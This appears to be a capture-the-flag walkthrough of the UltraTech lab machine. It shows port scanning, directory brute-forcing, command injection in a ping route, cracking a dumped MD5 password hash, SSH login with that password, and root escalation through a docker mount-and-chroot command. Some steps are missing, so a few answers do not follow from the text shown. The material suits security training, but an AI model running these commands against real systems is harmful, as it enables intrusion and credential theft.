First, let's run a simple nmap scan to see the open ports.
$ nmap -p- 10.10.26.63 -T4
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-10 10:18 IST
Warning: 10.10.26.63 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.26.63
Host is up (0.13s latency).
Not shown: 65520 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
5945/tcp filtered unknown
8081/tcp open blackice-icecap
13012/tcp filtered unknown
13146/tcp filtered unknown
14464/tcp filtered unknown
25132/tcp filtered unknown
26517/tcp filtered unknown
28167/tcp filtered unknown
29393/tcp filtered unknown
31331/tcp open unknown
52117/tcp filtered unknown
52621/tcp filtered unknown
59562/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 826.80 seconds
Now we can run another nmap scan on only the ports that are open.
$ nmap -p 21,22,8081,31331 -A 10.10.26.63
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-10 11:02 IST
Nmap scan report for 10.10.26.63
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_ 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
8081/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-cors: HEAD GET POST PUT DELETE PATCH
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.96 seconds
There are four open ports:
Port
Service
21
ftp
22
ssh
8081
http (node.js)
31331
http (apache)
The service running on port 8081 is Node.js.
Answer
Node.js
Which other non-standard port is used?
31331 is the other non-standard port.
Answer
31331
Which software using this port?
The software on port 31331 is Apache.
Answer
Apaache
Which GNU/Linux distribution seems to be used?
The GNU/Linux distribution is Ubuntu.
Answer
Ubuntu
The software using the port 8081 is a REST api, how many of its routes are used by the web application?
We can see that two routes are being used by the application.
8081/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-cors: HEAD GET POST PUT DELETE PATCH
Answer
2
Task 3: Let the fun begin
There is a database lying around, what is its filename?
We can brute force the web pages on the 8081 port using gobuster.
$ gobuster dir -u http://10.10.26.63:8081 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.26.63:8081
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/auth (Status: 200) [Size: 39]
/ping (Status: 500) [Size: 1094]
Progress: 207643 / 207644 (100.00%)
===============================================================
Finished
===============================================================
Let's go to the /ping page.
So we are expected to provide a parameter and we haven't done that we get the errors.
Let's try providing an IP address.
So the application executes the ping command with the IP we provide.
Let's see if it executes a command that we provide.
It does and we get the server name.
Answer
utech.db.sqlite
What is the first user's password hash?
We can read the passwords from the database using cat.
We get two password hashes, one of r00t user and one of admin user.
Username
Password hash
r00t
f357a0c52799563c7c7b76c1e7543a32
admin
0d0ea5111e3c1def594c1684e3b9be84
Answer
f357a0c52799563c7c7b76c1e7543a32
What is the password associated with this hash?
Let's use hash-identifier to identify the hash type.
$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt password_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
n100906 (?)
1g 0:00:00:00 DONE (2023-12-08 21:44) 5.000g/s 862080p/s 862080c/s 862080C/s erinbear..eagames
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Answer
n100906
Task 4: The root of all evil
What are the first 9 characters of the root user's private SSH key?
We can try logging in through SSH using the r00t user and n100906 password.
$ ssh r00t@10.10.26.63
r00t@10.10.26.63's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Dec 10 10:15:49 UTC 2023
System load: 0.04 Processes: 102
Usage of /: 24.4% of 19.56GB Users logged in: 0
Memory usage: 73% IP address for eth0: 10.10.26.63
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
1 package can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Dec 10 09:44:13 2023 from 10.17.48.138
r00t@ultratech-prod:~$
Let's check what sudo commands the r00t user can run.
r00t@ultratech-prod:~$ sudo -l
[sudo] password for r00t:
Sorry, user r00t may not run sudo on ultratech-prod.
Looks like we will have to find another way.
If we run id, we can see that we are part of the docker group.
r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
r00t@ultratech-prod:~$ which docker
/usr/bin/docker
r00t@ultratech-prod:~$ ls -l /usr/bin/docker
-rwxr-xr-x 1 root root 68631952 Feb 13 2019 /usr/bin/docker
Let's check the containers present.
r00t@ultratech-prod:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
bash latest 495d6437fc1e 4 years ago 15.8MB
We can see that there is a bash container.
We can find an exploit for it on GTFOBins.
r00t@ultratech-prod:~$ docker run -v /:/mnt --rm -it bash chroot /mnt bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@78c7562da81f:/#
We are now the root user.
Let's check the contents of the root directory.
root@78c7562da81f:/# ls -la /root
total 40
drwx------ 6 root root 4096 Mar 22 2019 .
drwxr-xr-x 23 root root 4096 Mar 19 2019 ..
-rw------- 1 root root 844 Mar 22 2019 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Mar 22 2019 .cache
drwx------ 3 root root 4096 Mar 22 2019 .emacs.d
drwx------ 3 root root 4096 Mar 22 2019 .gnupg
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 0 Mar 22 2019 .python_history
drwx------ 2 root root 4096 Mar 22 2019 .ssh
-rw-rw-rw- 1 root root 193 Mar 22 2019 private.txt
The private key is has to be inside the .ssh directory.
Let's verify the fact.
root@78c7562da81f:/# ls -la /root/.ssh
total 16
drwx------ 2 root root 4096 Mar 22 2019 .
drwx------ 6 root root 4096 Mar 22 2019 ..
-rw------- 1 root root 0 Mar 19 2019 authorized_keys
-rw------- 1 root root 1675 Mar 22 2019 id_rsa
-rw-r--r-- 1 root root 401 Mar 22 2019 id_rsa.pub
